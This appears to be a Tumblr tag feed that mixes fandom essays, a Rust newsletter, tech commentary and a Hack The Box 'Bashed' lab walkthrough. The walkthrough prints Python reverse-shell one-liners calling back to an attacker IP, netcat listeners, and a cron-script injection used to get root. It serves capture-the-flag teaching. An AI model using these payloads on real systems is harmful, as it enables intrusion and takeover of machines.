#Bash Reverse Shell

[joy-jules]

DogCat - Exploiting LFI and Docker Privilege Escalation -TryHackMe Walkthrough

In this walkthrough, we’ll explore the Dogcat room on TryHackMe, a box that features a Local File Inclusion (LFI) vulnerability and Docker privilege escalation. LFI allows us to read sensitive files from the system and eventually gain access to the server.There are a total of 4 flags in this machine which we need to find. Let’s Dive in! Step 1: Scanning the Target Start by scanning the target…

[justatalkingface]

I JUST FREAKING REALIZED SOMETHING!!!

Aizawa didn’t get into the hero course until his second year and was bullied by Sensoji for being a waste of space.

And Sensoji's actions were justified.

Now stick with me here.

Isn’t it a bit odd how Bakugou's behavior was justified? And I don't mean just in a favoritism way.

Despite how much he was willing to bash Class 1-A, Hitoshi didn't seem to acknowledge Aizawa favoring Bakugou. Not once. This is odd as he was there when Aizawa openly defended Bakugou during the Sports Festival. And you'd think Aizawa would correct Hitoshi's opinions on Class 1-A, but he doesn't.

And with how Aizawa made the battle between both hero courses focus on Hitoshi...

I'm sorry. Correct me if I'm wrong but...

Was Aizawa setting things up for Hitoshi to become like him? Was Bakugou going to be set up to be another Sensoji that Hitoshi had to face off?

Because if the war didn't happen...Hitoshi was going to be in Class 1-A way earlier.

...I don't think Eraserhead is self-aware enough to plan something like, which is saying something because even more self-awareness would tell him how stupid it is, but...

It's hard to get past the fact that, fundamentally, he's a hollow shell of a man. In all likelihood, he was a mess before Oboro, but after he died? I think something just... broke inside him.

This isn't really something I talk about, but at the core of him, Eraserhead is someone going through the motions, just existing one day at a time. He doesn't seem to have... goals. Objectives. Plans. Desires. Dreams. All he really has is his work, and he's not really doing his work well, is the thing. The first thing he does after getting life altering injuries is go back to work the next day, held together by staples and a prayer. Logically, that not only put back his healing, it might have actually worsened how much permanent damage he had.

He works day and night, and it's clear he's not managing his time well by his constant exhaustion, so most likely if he's not doing UA stuff, or being dragged around by his friends, he's off fighting crime. I mean, hell, he barely even eats.

He doesn't shave, he doesn't clean up, he doesn't get his hair cut... all of that stuff is because he probably doesn't have the energy or will to do it, and, real talk? I honestly wonder if he's so skinny because he's malnourished in some form, because those jelly packets or whatever can't actually be meeting all his nutritional needs, especially with how much energy he has to be burning every day.

I think the main reason Present Mic and Midnight got him to join UA was to save his life. Not from a major threat or anything, but from himself. With him at UA, they could dial him back, stop him from running around picking fights and parkouring across roofs 24/7, and maybe even get a real meal in him.

All of the stuff I've been talking about... 'logically', doesn't that ruin his vaulted 'efficiency'?

When Eraserhead says, 'efficiency', or 'logically', or whatever other word he uses to sound smart, he doesn't really mean, 'doing it in the best way possible', even if he's lying to himself that he is; what he's actually saying is 'doing it the most simple and straightforward way possible, right now'. If he thinks a student is too much trouble, rather than trying to fix the problem he just gets rid of them, and if they manage to pull themselves together after he does that? All the better.

The reverse, though, is as long as they aren't too much of a problem, then they're not actually worth punishing, not unless he's basiclly forced to: he doesn't let Bakugou run wild because he likes him, really, he does it because he doesn't think dealing with him is worth his time, the same way he lets Minoru be a creepy little pervert without really doing anything to make him stop, until he finally crosses the line enough that Eraserhead has to be involved, like by putting a kid in danger. The reason his only comment when he holds Bakugou back that first time is about his dry eye is that honestly, that was all he actually cared about: not that he was attacking other students, but that Bakugou was making him do extra work.

It's why the few times we see him actually deal with a student's problems (that weren't his favorite, anyways) is when he was already doing something else involving them in the first place, because if he's already there, working with them, might as well do this other shit, right?

It's only efficient.

To bring it back to your original point, though, I think part of the reason he's such a hypocrite is he doesn't really reflect on himself, or his actions. While he does think on the past, it's not anything productive, it's just him... wallowing in his grief and self loathing.

The reason Hitoshi was the main focus was because, well, Hitoshi was Eraserhead's main focus, so he wanted him to get a lot of the experience everyone else had been having as fast as possible, and beyond that I don't think he was thinking through the implications beyond that.

I've found a lot of Eraserhead's actions make sense if you ignore everything he says, and instead draw a metaphorical straight line between him and whatever it is that he wants to do. It's not deep, it's just so OOC for a normal thought process that it throws you off.

[nerdgatehobbit]

In "Consequences", Virgil was down enough after his visit to Daisy in the hospital (after venting with his powers in a used car lot to Richie's mixed concern and frustration) that Sharon pleads with him to go back to his usual smart-aleck self. Adam is still snacking as I'm presuming one of those used plates was his (other three being Robert, Trina, and Richie). When he grumbles about Static getting Daisy to the hospital is "the only thing he's done right lately", Sharon snaps out "Adam!"

He replies apologetically, "I forgot, boo. No Static bashing in your house."

Which implies several things. First off, it's funny, particularly given Adam's deadpan tone. Second, that it's been enough of a reoccurring issue that the two of them had to set up a ground rule that Adam can't complain about Static at the Hawkins house, with hopefully the corollary that Sharon can't protest (much?) if they're at his place. Third, that even if she was tricked out of connecting the dots back in "Brother-Sister Act", Sharon is still subconsciously a protective big sister about her brother's alter ego. Fourth, that it's not a big problem between them, showing that arguments don't have to be a big deal in a relationship.

Trina shows up to be annoyed that no one at the dockyard pool hall would talk, quickly asserting that she doesn't want Adam to get involved. Virgil's exit is either unnoticed or they presume he doesn't want to know about the efforts to capture Puff and Onyx. It does seem like the general public's opinion is that what happened to Daisy was due to Puff and Onyx's actions, with only Adam and Virgil close enough to the situation to know that Static's arrogance played a role.

I also wonder if at least some people cut Static slack just because they suspect he's on the younger side, even if he does enough activities around the clock that I doubt the possibility of him being a high schooler is a common theory.

At the pool hall, Static makes a dramatic entrance. The 'camera' angles here emphasize Static's anger and how off-kilter he is from usual. He targets Puff and Onyx's informant, but Rubberband Man shows up to basically yoink Static out into the alley. In a role reversal from earlier episodes, Rubberband Man talks him down from his anger and points out his role in Daisy's injury. Static acknowledges this out loud.

Down in their lair, the informant alerts Puff and Onyx to Static's furious search. Undeterred, Puff decides to further antagonize Static.

Virgil visits Daisy in the hospital to admit that he wanted to impress her as Static to the extent he ignored everything else, including her safety. I think this can also be applied to his showboating on patrol, where he wants recognition & appreciation as Static. It's an understandable impulse, but he absolutely does need to remember that being treated as a hero doesn't always mean that you're acting as one. Richie shows up to check in on them, and the two boys make up.

Puff causes a few vehicular incidents in a order, leading to Static to confront her. She and Onyx try to bury him by bringing down a condemned building once they lure him inside, but Static protects himself by creating a 'shell' of pipes around himself.

Puff brings down a 'Burger Fool' billboard that Static has to hold up to keep it from harming the bystanders. Rubberband Man shows up to bounce after Puff and Onyx.

Down through the entrance at the bridge's base, deeper into the sewers, is where Puff and Onyx stay. However, they don't get there as Rubberband Man confronts them by the bridge. This gives Static time to catch up and to taunt Puff into attacking, whereupon he dodges so she instead breaks a water hydrant type thing (I'm unsure what it exactly is) that dampens her.

Back home, Virgil gets the good news that Daisy has woken up. As Static, he creates an energy flower outside the hospital, pleasing the Watkins family in the room that's full of celebratory balloons and bouquets. Again, I think the family more blames the two foes that started the attack than blame Static. Though, interestingly, Robert was fairly quiet about what he made of the situation. I don't know if that was an oversight given the number of characters being juggled (Richie was similarly sidelined) or if the writers didn't want to knock Virgil down that many pegs if his father expressed negative feelings about how his super alter ego handled things.

Overall, I liked "Consequences" for living up to its name and for demonstrating a believable role swap for Rubberband Man and Static. After his experiences with his impulsiveness and temper, Adam has calmed down enough to take heroics seriously, perhaps especially as he's aware that he still needs to improve his image after how he started out. Meanwhile, Virgil has been doing well as Static, unaware that confidence has turned into arrogance and complacence until he makes a big enough error. It'll be interesting to see if Rubberband Man further steps up as a 'mentor' figure or if now that they're both learned from each other, he and Static will act as equals. Then again, I know there's a major change to the status quo coming up, so maybe the show will take a third option.

It's not necessarily good that Daisy was treated as a 'damsel in distress' but I do appreciate the episode moral that it's important to think of your crush's feelings and safety on their own merits and not just as an extension of yours; a 'mundane' version is how Daisy pushed back against how Virgil handled the phone call, while the superhero version is the circumstances of her getting hurt. Daisy's recovery is a tad pat, but this show is largely episodic so I'm not protesting (see also how Richie's injuries don't carry over between episodes). Hopefully she'll have a more active role in her next appearance.

Up next is the second season finale! As far as my DVD set is concerned, anyway.

[theenterprisemac]

Tools - Command Center

I will be curious to see this when it is actually released in February. If it ends up being free or sufficiently cheap I may give it a try. I do have a few bones I would like to pick with the premise of the tool.

Compiled Code as Security Feature

"Second, shell scripts are deployed in uncompiled code to the user's computer, which isn't great from a security perspective, but it also means you're dependent on the version of bash or zsh on that computer, which changes with each OS version."

I really object to the underlying implication here that compilation is a security feature. I am by no means an expert in reverse engineering, but I have done a lot of reverse engineering and binary patching and this is comical. Compile the code for speed, compile the code for power, if you want, but don't call it a security feature.

Jamf Script Handling is Weak

"Third, updating scripts in Jamf Pro is very cumbersome, especially when working with multiple servers. Updating a script is literally copying and pasting code, and if you had hardcoded any changes into that script, those changes are gone as soon as you update it. And since shell scripts don't support libraries, if there's a specific function that needs to be updated for any reason, you have to painstakingly update that across all of your scripts. Because of this, many Jamf admins don't update their scripts unless something breaks."

I agree and disagree with this comment. For example, various people have worked out how to use Github as your source of truth for things like scripts. See the following.

The inability to use libraries in shell scripts is also only half true. While it's not like what you get in Python or other languages you can source another script and call its functions. There are nuances to this, but it is not as cut and dry as the poster would have you believe. If there is one thing I have found–it's that lots of enterprise tools use this trick.

Finally a Lack of Industry Expertise

"Lastly, there is a lack of industry expertise with bash and zsh. Being a Jamf admin requires us to not only have a high level of understanding of the Apple operating system and a variety of IT software, but it also requires us to be good at customer service. But let's face it, most of us are not developers, and many of the difficult challenges we face with shell scripts are easy for a seasoned developer to tackle."

I do agree that there is a lack of expertise in bash and zsh. However, I don't think that this is necessarily a reason to build a tool for common operations. I am not a developer by any means, but I also don't think that encouraging dependence on tools is always the right call.

If you look at the number of third party tools that many Mac administrators rely on such as SwiftDialog, Installomator, etc while all good tools–those who rely on them are at the mercy of an ever increasing number of "vendors" many of whom are not paid for their work.

I would also submit that the less technical we become as administrators the easier it is to replace us with a tool. I would go as far as to suggest that if you solve your problems with other people's tools, then you aren't putting yourself all that far from being replaced by a tool yourself.

[samxia99]

What The Shell?: Part 1| TryHackMe

An introduction to sending and receiving (reverse/bind) shells when exploiting target machines. Task 1 What is a shell? shells are what we use when interfacing with a Command Line environment (CLI). In other words, the common bash or sh programs in Linux are examples of shells, as are cmd.exe and Powershell on Windows. When targeting remote systems it is sometimes possible to force an…

[leam1983]

On Toolsets

Walt asks me what's wrong with AI being the object of so much attention, in his usual out-of-touch-yet-curious approach, and also asks me how I'd fix it.

There's fundamentally nothing wrong with General Adversarial Networks, be they processing images or text inputs. The tech in and of itself is rife with potential. The problem is that the tech's emergence is systematic of a greater problem with Late-Stage Capitalism.

Imagine Fred Flintstone's Modern Stoneage, but with our current set of values, for a second. You predate the invention of the hammer, and some snazzy-looking caveman realizes that you can make shit by tying a rock to a stick, by using the stick as a handle, and by bashing things into other things using that tool. He calls it a hammer.

The world goes nuts overnight. Hammer Discourse is everywhere, you've got a fuckton of comers telling you that no, their use for a hammer is more productive instead of everyone else's, and that you're right to expect a concrete return on all those hammer swings. Hammers are seen as fungible, and any serious effort to study hammers or deepen their understanding is drowned out by the droves of people claiming that you can MAKE MONEY NOW! JUST USE MY NEW AND IMPROVED HAMMER GRIP TECHNIQUE! GET THOSE CONCH SHELLS FROM YOUR NEIGHBOUR AT AN INCREASED RATE!

In the meantime, there's another group that's realized that the hammer, when paired with a chisel, can chip off stone. With enough control and precision, you can carve beautiful things out of stone. The vultures start circling, see profit there, and decide that just about anyone's stone slabs can be used for figurative efforts, with no need for consultation.

And that, right there, is the issue. It's in the short-sightedness of the response to the tech in question. Poisoning image models won't do shit, the model-makers are going to reverse-engineer solutions like Glaze and offer means to keep tapping into poisoned datasets effectively. They'll never bother with consent, not when immediacy remains their focus.

The only way to fix this is to design image models with consent as a base, ideally for purely research-focused uses. The only ethical image-generation system out there shouldn't be released to the public, as it's there that you'll find the idiots crowing for AGI this and AGI that, profit this and profit that, when we're effectively designing clockwork savants. Could the tech be useful? Absolutely! NASA's already using it to prototype robots!

[the-hacker-news]

Free Download Manager Site Compromised to Distribute Linux Malware to Users for 3+ Years

The Hacker News : A download manager site served Linux users malware that stealthily stole passwords and other sensitive information for more than three years as part of a supply chain attack. The modus operandi entailed establishing a reverse shell to an actor-controlled server and installing a Bash stealer on the compromised system. The campaign, which took place between 2020 and 2022, is no longer active. " http://dlvr.it/Sw5mw6 Posted by : Mohit Kumar ( Hacker )

[this-week-in-rust]

This Week in Rust 456

Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tweet us at @ThisWeekInRust or send us a pull request. Want to get involved? We love contributions.

This Week in Rust is openly developed on GitHub. If you find any errors in this week's issue, please submit a PR.

Updates from Rust Community

Official

Announcing Rust 1.63.0

Contribute to the diagnostic translation effort!

Newsletters

This Month in Rust GameDev #36

Project/Tooling Updates

rust-analyzer changelog #142

IntelliJ Rust Changelog #176

Introducing Rust Sitter

SecureStore 0.100: KISS, git-versioned secrets management for rust

This week in Fluvio #42: The programmable streaming platform

HexoSynth 2022 - Devlog #9 - MIDI Note and CC Handling

Rust Search Extension v1.8.0 has been released.

This week in Databend #55: A Modern Cloud Data Warehouse for Everyone

Observations/Thoughts

Comparing Rust's and C++'s Concurrency Library

Kernel Driver with Rust in 2022

IntoIterator and the for ... in Syntax in Rust

Rust in Perspective — linusw

6 Things I Wish I Knew Starting with Embedded Rust

Rust Walkthroughs

Exploring Traits with Erased serde

Rust and Neovim - A Thorough Guide and Walkthrough

Get Started with Rust: Structs

Hooking Go from Rust - Hitchhiker’s Guide to the Go-laxy

Using the Kani Rust Verifier on Tokio Bytes

[video] Rust image viewer from scratch

[video] Rust is not a faster horse (why Rust is different)

[video] Fiberplane's path to full-stack WASM development

Research

Integrating fault injection in development workflows

Miscellaneous

Rust Iterator pattern with iter(), into_iter() and iter_mut() methods

[DE] Rust: Makros - Einführung in ein unverzichtbares Werkzeug

[DE] Rust 1.63 bekommt Threads, die sich Daten ausleihen dürfen

Crate of the Week

This week's crate is cargo-pgo, a cargo subcommand to compile your code with profile-guided optimization and BOLT for good measure.

Thanks to Jakub Beránek for the self-suggestion!

Please submit your suggestions and votes for next week!

Call for Participation

Always wanted to contribute to open-source projects but didn't know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

If you are a Rust project owner and are looking for contributors, please submit tasks here.

ockam - Add examples section to ockam message send command's help

ockam - ockam completion --shell {bash|zsh|fish} command for shell completion

ockam - Visualize identity change history in ockam identity show --full command

mirrord - Cache doesn't work on test-agent workflow

mirrord - Split mirrord-layer LayerError based on criteria

Updates from the Rust Project

410 pull requests were merged in the last week

make [rust] use-lld=true work on windows

debuginfo: generalize C++-like encoding for enums

recover from mutable variable declaration where mut is placed before let

suggest a missing semicolon before an array

suggest adding an appropriate missing pattern excluding comments

suggest const and static for global variable

suggest removing let if const let or let const is used

suggest removing a semicolon after impl/trait items

suggest the path separator when a dot is used on a trait

adjust span of fn argument declaration

point to generic or arg if it's the self type of unsatisfied projection predicate

do not manually craft a span pointing inside a multibyte character

argument type error improvements

set tainted errors bit before emitting coerce suggestions

iterate generics_def_id_map in reverse order to fix P-critical issue

miri: atomics must be mutable

make TypeError impl Copy

determine match_has_guard from candidates instead of looking up thir table again

optimize thread ID generation

simplify visitors

simplify format_args builtin macro implementation

stabilize backtrace

stabilize ptr_const_cast

replace pointer casting in hashmap_random_keys with safe code

add Iterator::array_chunks (take N+1)

optimize next and nth implementations of Skip

compiler-builtins: remove c32() from x86_64 memcmp

cargo: only override published resolver when the workspace is different

cargo: use std::thread::scope to replace crossbeam

rustdoc: don't document impossible to call default trait items on impls

rustdoc: avoid ICE in rustdoc when using Fn bounds

rustdoc: improve crate selection on rustdoc search results page

rustdoc: don't render impl blocks with doc comment if they only contain private items by default

rustdoc: fix handling of stripped enum variant in JSON output format

rustdoc: use a more compact encoding for implementors/trait.*.js

clippy: add lint recommending using std::iter::once and std::iter::empty

clippy: add partialeq_to_none lint

clippy: extend if_then_some_else_none to also suggest bool::then_some

clippy: fix if_let_mutex not checking mutexes behind refs

clippy: fixes trait_duplication_in_bounds false positives

clippy: skip unnecessary_to_owned when t != t.to_string()

clippy: use check_proc_macro for missing_const_for_fn

rust-analyzer: do not unconditionally succeed RUSTC_WRAPPER checks when run by build scripts

rust-analyzer: fix pattern field completions not working for unions

rust-analyzer: move VSCode diagnostics workaround into client code

rust-analyzer: pad empty diagnostic messages in relatedInformation as well

rust-analyzer: recover from missing ellipsis in record literals for path expressions

rust-analyzer: remove imports that are also in edition 2021's prelude

rust-analyzer: fix incorrect type mismatch with cfg_if! and other macros in expression position

rust-analyzer: infer byte string pattern as &[u8] when matched against slices

Rust Compiler Performance Triage

A fairly quiet week for performance, with the exception of the LLVM 15 upgrade which resulted in many changes, mostly to the positive.

Triage done by @simulacrum. Revision range: cc4dd6fc9f..14a459b3

Summary:

(instructions:u) mean max count Regressions ❌ (primary) 0.7% 7.7% 62 Regressions ❌ (secondary) 1.3% 5.0% 51 Improvements ✅ (primary) -1.8% -6.9% 93 Improvements ✅ (secondary) -2.4% -22.0% 128 All ❌✅ (primary) -0.8% 7.7% 155

2 Regressions, 4 Improvements, 2 Mixed; 1 of them in rollups 38 artifact comparisons made in total

Full report

Call for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization. The following RFCs would benefit from user testing before moving forward:

No RFCs issued a call for testing this week.

If you are a feature implementer and would like your RFC to appear on the above list, add the new call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

RFCs

No RFCs entered Final Comment Period this week.

Tracking Issues & PRs

[disposition: close] Tracking Issue for Result::into_ok_or_err / feature(result_into_ok_or_err)

[disposition: merge] Tracking issue for RFC 2046, label-break-value

[disposition: merge] Tracking Issue for #![feature(mixed_integer_ops)]

[disposition: merge] Tracking Issue for std::io::read_to_string

New and Updated RFCs

[new] Add atomic memcpy RFC.

Upcoming Events

Rusty Events between 2022-08-17 - 2022-09-14 🦀

Virtual

2022-08-17 | Virtual (Cardiff, UK) | Rust and C++ Cardiff

C++ Concepts vs Rust Traits

2022-08-17 | Virtual (Hoboken, NJ, US) | Neighborhood Math Club

The Early Rustacean Gets The Worm!

2022-08-17 | Virtual (Vancouver, BC, CA) | Vancouver Rust

Rust Study/Hack/Hang-out

2022-08-18 | Virtual (Charlottesville, VA, US) | Charlottesville Rust Meetup

Hierarchical Task Network compiler written in Rust

2022-08-18 | Virtual (Stuttgart, DE) | Rust Community Stuttgart

Rust-Meetup

2022-08-18 | Virtual (Tehran, IR) | Iran Rust Meetup

Iran Rust Meetup #8

2022-08-18 | Virtual (Wiesbaden, DE) | Frontend RheinMain

Rust for curious developers

2022-08-20 | Virtual | Rust Edu

Rust Education Workshop 2022 (Submission deadline 2022-08-16)

2022-08-24 | Virtual (Beijing, CN) | WebAssembly and Rust Meetup (Rustlang)

Tech Talk Live Appointment: Customize GitHub Workflow with Serverless Functions - How to use Rust and JavaScript to automate GitHub processes

2022-08-24 | Virtual + Wellington, NZ | Rust Wellington

Flywheel Edition: 3 talks on Rust!

2022-08-25 | Virtual (Karlsruhe, DE) | The Karlsruhe Functional Programmers Meetup Group

Stammtisch: together with the C++ UG KA; various topics, from C++ to Rust

2022-08-27 | Virtual (Bangalore, IN) | Polkadot India

Substrate Saturday - Bootcamp Series 2: Fundamentals of Rust & Substrate

2022-08-30 | Virtual (Berlin, DE) | OpenTechSchool Berlin

Rust Hack and Learn

2022-08-30 | Virtual + Dallas, TX, US | Dallas Rust

Last Tuesday

2022-09-01 | Virtual | Google Open Source Live

Rust Day on Google Open Source Live

2022-09-02 | Virtual (Nürnberg, DE) | Rust Nuremberg

Rust Nuremberg Get Together

2022-09-03 | Virtual (Bangalore, IN) | Polkadot India

Substrate Saturday - Bootcamp Series 2: Fundamentals of Rust & Substrate

2022-09-03 | Virtual (Nürnberg, DE) | Rust Nuremberg

Deep Dive Session 1: Tokio my-redis Tutorial

2022-09-04 | Virtual (Seattle, WA, US) | Seattle Rust Meetup

September Meetup

2022-09-06 | Virtual (Beijing, CN) | WebAssembly and Rust Meetup (Rustlang)

Monthly WasmEdge Community Meeting, a CNCF sandbox WebAssembly runtime

2022-09-06 | Virtual (Buffalo, NY, US) | Buffalo Rust Meetup

Buffalo Rust User Group, First Tuesdays

2022-09-07 | Virtual (Indianapolis, IN, US) | Indy Rust

Indy.rs - with Social Distancing

2022-09-10 | Virtual | Rust GameDev

Rust GameDev Monthly Meetup

2022-09-10 | Virtual (Bangalore, IN) | Polkadot India

Substrate Saturday - Bootcamp Series 2: Fundamentals of Rust & Substrate

2022-09-13 | Virtual (Rostock, DE) | Altow Academy

Rust Meetup Rostock

2022-09-14 | Virtual (Malaysia)| Golang Malaysia

Rust Meetup September 2022

Europe

2022-08-18 | Paris, FR | Rust Paris

Rust Paris meetup #51

2022-08-25 | Stockholm, SE | StockholmCpp

0x21: Learning from Rust, Typical C++

2022-08-30 | Utrecht, NL | Rust Nederland

Run Rust Anywhere

North America

2022-08-23 | Toronto, ON, CA | Rust Toronto

WebAssembly plugins in Rust

2022-08-25 | Ciudad de México, MX | Rust MX

Concurrencia & paralelismo con Rust

2022-08-25 | Lehi, UT, US | Utah Rust

Hello World Cargo Crates Using Github Actions with jojobyte and Food!

2022-08-31 | New York, NY, US | Rust NYC

August Meetup: Rewriting a high performance Vector Database in Rust.

Oceania

2022-08-24 | Wellington, NZ + Virtual | Rust Wellington

Flywheel Edition: 3 talks on Rust!

2022-08-26 | Melbourne, VIC, AU | Rust Melbourne

August 2022 Meetup

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

TL;DR: my claim is that Rust is attempting to raise the abstraction in the programming language and ultimately to join computer science and software engineering into one single discipline, an ambition that has been around since these disciplines were created.

– Linus Walleij on his blog

Thanks to Julian Wollersberger for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by: nellshamrell, llogiq, cdmistman, ericseppanen, extrawurst, andrewpollack, U007D, kolharsam, joelmarcey, mariannegoldin.

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

[rootresident]

Assembly is cpu instructions, which perform operations on registers. In the assembly code in the post the instructions (mov) operate on registers (like rdx) and values (the numbers). On a very high level, what the code is doing is essentially moving the string "Hello World" into the register used by system calls for data, moving the value corresponding to the "print the value" operation, and then calling that system call. That's a very basic, high level overview of what the code is doing.

You need to learn about computer architecture, specifically how a cpu works and how memory is stored and managed. You also need to know how binary works and boolean algebra. For an introduction you can check out this paper from intel https://www.intel.com/content/dam/develop/external/us/en/documents/introduction-to-x64-assembly-181178.pdf. Don't worry if it doesn't make any sense, there's a lot more fundamental knowledge you are likely missing.

Assembly is the lowest level programming language you can get before it's all just 1's and 0's, and compiled programming languages get compiled into machine code (1's and 0's) by the compiler. Assembly is hard to write, and you really only need to know it if you are working on compilers or reverse engineering compiled code. It's still good to know how it works though, even if you can't actually write programs in it.

Bash is a shell, usually the default shell on linux systems. It's often the primary way of interacting with linux servers (many web servers etc. use the linux OS), and can be used interactively or through scripts. Bash scripts are great for automating things on linux because it will always be there by default, though it is not as powerful as some high level languages. Best way to learn, as with most things, is to try it out and through lots and lots of googling. Bash, and command line in general, may be a learning curve coming from primarily graphical interfaces.

If you want to learn about automation in general, I highly recommend the book Automate the Boring Stuff, for the Python language.

wrote my first "hello, world" in assembly today :]

i used to never ever think i was capable of programming in anything remotely close to machine code. the fact that now i have, and that i actually understand what is going on here, even in this simple code, is huge for me. i'm so proud of myself!!!

[cyberpayload]

#Bash #reverse #tcp #shell #oneliner . . . #linux #ethical #hacking #pentester #hacker #exploit #popashell #security #cybersecurity #computer #pc #windows #virtualmachine #kali #parrot #cyberops #cyber #raspberrypi #python https://www.instagram.com/p/CTMQ4meLqvA/?utm_medium=tumblr

[pillothecat-hacks]

Hack The Box: Bashed – Writeup

---------------------------------------------- Reconnaissance - Open port enumeration - Directories and files enumeration

Shell upgrade

Privilege Escalation - Check for misconfigurations - Inject reverse-shell payload ----------------------------------------------

RECONAISSANCE

nmap scan Check for open ports; run the nmap scan. ** though flag options may vary, I’ve included -O (for OS), -sV (for service version), -Pn (to check for active machines with ping disabled), -sC (for script), and -sS (for stealth).

INPUT: sudo nmap -sSCV -O -Pn 10.10.10.68 | tee “nmapscan”

There is only one open port, port 80. Since port 80 is a http service, we should be able to open up the web-server application from our browser and view the site. Moreover, since http is an unencrypted web server, we might be able to find some information from the site’s source code.

Gobuster Run a gobuster scan to enumerate web directories/files. ** I’ve run gobuster with the common.txt file (in /usr/share/wordlists/dirb/)

INPUT: gobuster dir -u http://10.10.10.68-w /usr/share/wordlists/dirb/common.txt | tee gobuster

There is only one network status 200, and a couple of redirects. Immediately we might notice some common directories like “css”, “images”, and fonts”, but the information also tells us that the site utilizes “php” and has an open “dev” directory for us to view.

We can also confirm this when we view the web page; looking through the blog post on the site, we can see that the user “Arrexel” says he has been using phpbash “on this exact server”. Perhaps the phpbash file is within the “dev” for developer directory?

Web page

*** before checking the “dev” directory, I was also looking for any information that might lead us to an exploit. Though unsuccessful, the site’s Content Management System (CMS) information and a page where we might be able to upload a Remote File Inclusion (RFI) or get to a Local File Inclusion (LFI) was worth examining.

Web page - /dev/ We’ve found the “developers” page and it is unrestricted. This is a serious security misconfiguration, as the open shell gives access to the web-server for anyone. Since Arrexel stated in his blog post that he uses the phpbash for pentesting on this very site, we might expect some additional vulnerabilities once in the server.

UPGRADING SHELL

Although we have our initial foothold into the server, the bash shell may be limiting and buggy; there might be frequent freezes or crashes, and we might not be able to control tab complete. Let’s upgrade our shell; we can accomplish this by launching a reverse shell payload from our target’s machine, and set up a listener from our attack machine to catch the signal.

*** I initially tried a php reverse shell and was unsuccessful; I tried the python reverse shell next, and that worked;

*** Don’t forget to set the ip address to your attacker’s, vpn (often labeled as “tun0” from ifconfig)

(from target’s shell) INPUT: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(from attacker’s terminal) INPUT: netcat -nlvkp 1234

We’re connected. Next, upgrade to a tty shell.

INPUT: python -c 'import pty; pty.spawn("/bin/bash")'

User flag Now that we have our own shell, let’s search for the user flag. After searching through the home/arrexel/ directory, we find our user.txt and open it to find the flag .

PRIVILEGE ESCALATION

Recon The last step is escalating our privilege to root. But before doing so, we’ll need more information about the server. We can check for any security misconfigurations like: - finding sudo permissions to run commands for any other users besides root - look up any files configured to setuid permissions - enumerate system services and kernel information - enumerate user information (checking /etc/passwd or /etc/shadow files), etc.

During this process we’ll notice the following information. Our current user can run any commands as the script manager without a password.

INPUT: sudo -l

Additionally, after checking the directories and files, I notice that there is a directory called “scripts”, where the user scriptmanager has read/write/execute permissions. When we initially try to view this directory as www-data, we will get a permission denied.

User, scriptmanager To view the scripts directory, let’s switch to the user, scriptmanager. As scriptmanager, we should be able to view the scripts directory.

INPUT: sudo -u scriptmanager /bin/bash

When we view the test.py file, we’ll notice something interesting. The script of the test.py file, opens and writes to the test.txt file.

Furthermore, when we ls -lh the test.txt file, we’ll notice that the file’s timestamp is fairly recent.

If our theory is correct, the test.txt is running a cron job from  the test.py file, which means we should be able to edit the test.py file, and run it as the root user.

Hence, we’ll edit the test.py file and include another reverse shell; only this time, since the cron job is referring the test.txt file as root, we should be able to listen in and receive a root shell.

(from target’s shell) INPUT: echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(from kali terminal) INPUT: netcat -nlvkp 4321

And… we are ROOT!

Find root flag Finally, search for the root flag; this will be found in /root/root.txt

[seventeenlovesthree]

Fandom Shipping Polls - Meiko Mochizuki Shipping Analysis (Poll)

As pointed out in the main post, every single Chosen Child will get their individual analysis post to check on the status of the current popularity of their ships. With that out of the way, let’s take a look at Meiko, shall we!  

The overall results / spreadsheet

The “Others” choice in the main poll received 15% (approx. 8 votes). The comments/tags did not specify any preferences here (aside from characters that were already part of the main choices).

Ship Analysis

1st place: With a lead of merely 11 votes to 2nd place, Mimi (42%) won the overall poll. Despite the poll having received the least amount of votes overall (since there has only been one), it is not too surprising to see her here - she had been the first (alongside Sora) to take Meiko under her wing and seemed incredibly smitten by her bashful nature, trying to get her out of her shell, encouraging her to wear more daring clothes and generally believing more in herself, while also constantly defending and protecting her from others. Between a lot of physical touches (including cheek kisses), affectionate words and blushing, seeing Meiko bloom because of Mimi’s encouragement definitely makes this a favourite.

2nd place: Taichi (22%) comes in second in this poll - and seeing their set-up in Tri, it’s almost shocking that the race between him and Mimi hasn’t been more close. Ever since their glances crossed (silently at first on several occasions), their paths were meant to mirror each other; with Taichi not being able to face his cowardice or either of his friends properly, he finds solace in being able to talk to Meiko - who, just like he had to in the past, has to deal with the corruption and eventual loss of her partner. Thus, his protectiveness of her also makes sense - and the subtle bond upon him calling her and blushing due to not finding the right words may not be understated.

3rd place: Facing no real threat to get surpassed, Yamato (13%) finished third on the podest - and, once again, with good reason. While Meiko actually learns more about Yamato by talking to his brother about him, his tendency to jump in to save her is pretty blatant. Yamato is a person who is protective of characters in need of help and also cannot stand seeing people jump towards their own doom head first. 

Honorary mentions: This spot is reserved for Takeru (4%), who was seen bonding with and teasing/flirting with Meiko on several occasions, while also sharing (and hiding) the fate of losing their partners, with him trying to help her to face the consequences.

“The 1 vote squad”: Koushiro and Jou (1% each) take this place.

